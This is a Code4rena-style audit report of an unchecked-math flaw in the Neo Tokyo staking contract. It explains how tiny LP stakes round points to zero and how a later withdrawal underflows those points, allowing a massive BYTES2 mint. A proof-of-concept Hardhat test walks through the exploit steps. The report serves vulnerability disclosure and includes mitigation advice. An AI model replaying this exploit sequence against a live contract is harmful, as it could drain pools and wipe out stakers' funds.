Neo Tokyo contest - MadWookie's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1155-L1161 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1622-L1631 https://github.com/code-423n4/2023-03-neotokyo/blob/dfa5887062e47e2d0c801ef33062d44c09f6f36e/contracts/staking/NeoTokyoStaker.sol#L1387-L1393

Vulnerability details

Vulnerability details

When staking LP tokens in _stakeLP() the points associated with a user's stake are calculated using the following formula.

uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;

This is where the first problem arises. Assuming the user is staking for 30 days the timelockMultiplier will be 100. This means when a user stakes amount < .01 ether, points will be rounded down to 0.

Now even though the user points are 0 the amount still gets added to stakerLPPosition[msg.sender].amount as seen below.

unchecked {
    uint256 points = amount * 100 / 1e18 * timelockMultiplier / _DIVISOR;
    
    // Update the caller's LP token stake.
    stakerLPPosition[msg.sender].timelockEndTime = block.timestamp + timelockDuration;
    stakerLPPosition[msg.sender].amount += amount;
    stakerLPPosition[msg.sender].points += points;

    // Update the pool point weights for rewards.
    pool.totalPoints += points;
	}

This means the user can stake LP tokens without increasing their points. This leads to the second problem.

Consider that a user has amassed a staked balance of 0.018 ether by performing 2 stake calls with value 0.009 ether. This puts the user over the .01 ether threshold in the points calculation. Keep in mind that the user still has stakerLPPosition[msg.sender].points equal to 0 after these transactions.

After 30 days the user calls _withdrawLP() with an amount equal to .01 ether. This function performs the same points calculation as _stakeLP() and gives the user a points value of 1. This is then subtract from lpPosition.points resulting in an integer underflow resulting in uint256.max.

unchecked {
uint256 points = amount * 100 / 1e18 * lpPosition.multiplier / _DIVISOR;

// Update the caller's LP token stake.
lpPosition.amount -= amount;
lpPosition.points -= points;

// Update the pool point weights for rewards.
pool.totalPoints -= points;
		}

Then the user can call getReward() which mints them a massive amount of bytes(The actual amount of bytes minted depends on the conditions of other stakers as points being so high causes cascading overflows in getPoolReward(), but is on the order of 10^64). This is because getPoolReward() uses a stakers points to determine how many BYTES2 they are able to mint and almost all of the arithmetic is done unchecked so the underflow and subsequent overflows are never caught.

Impact

The massive mint of BYTES2 would make the token worthless and allow the attcker to drain the pool where BYTES2 are being traded resulting in all LP and BYTES2 stakers losing their funds.

Proof of Concept

Add the following test under describe('with staked LP tokens', function () and change alices first stake in that function to .009 ether.

it('points underflow', async function () {

        // Validate the correctness of Alice's staker state.
        let alicePosition = await NTStaking.getStakerPositions(alice.address);
        alicePosition.stakedLPPosition.amount.should.be.equal(
            ethers.utils.parseEther('.009')
        );
        alicePosition.stakedLPPosition.points.should.be.equal(0);

        // Validate the correctness of Bob's staker state.
        let bobPosition = await NTStaking.getStakerPositions(bob.address);
        bobPosition.stakedLPPosition.amount.should.be.equal(
            ethers.utils.parseEther('10')
        );
        bobPosition.stakedLPPosition.points.should.be.equal(4000);


        // Second stake for alice
        await NTStaking.connect(alice.signer).stake(
            ASSETS.LP.id,
            TIMELOCK_OPTION_IDS['30'],
            ethers.utils.parseEther('.009'),
            0,
            0
        );

        let alicePosition2 = await NTStaking.getStakerPositions(alice.address);
        alicePosition2.stakedLPPosition.amount.should.be.equal(
            ethers.utils.parseEther('.018')
        );
        // Validate that points are still 0
        alicePosition2.stakedLPPosition.points.should.be.equal(0);

        let priorBlockNumber = await ethers.provider.getBlockNumber();
        let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
        aliceStakeTime = priorBlock.timestamp;

        // Skip ahead 30 days
        await ethers.provider.send('evm_setNextBlockTimestamp', [
            aliceStakeTime + (60 * 60 * 24 * 30)
        ]);

        // Alice calls withdraw 
        await NTStaking.connect(alice.signer).withdraw(
            ASSETS.LP.id,
            ethers.utils.parseEther('.01')
        );

        let alicePosition3 = await NTStaking.getStakerPositions(alice.address);	
        // Points underflow shown here
        console.log(alicePosition3.stakedLPPosition.points);

        let aliceBalanceBefore = await NTBytes2_0.balanceOf(alice.address);

        await NTCitizenDeploy.connect(alice.signer).getReward();

        let aliceBalanceAfter = await NTBytes2_0.balanceOf(alice.address);

        // BYTES2 masssive mint
        console.log(aliceBalanceBefore,aliceBalanceAfter)
    });

Recommended Mitigation Steps

This contract relies heavily on unchecked math thus leaving it vulnerable to overflow/underflow exploits like this one. This particular issue can be solved by enforcing that the minimum LP stake amount is >= .01 ether, but I would recommend a more broad stroke approach by moving important calculations outside of unchecked.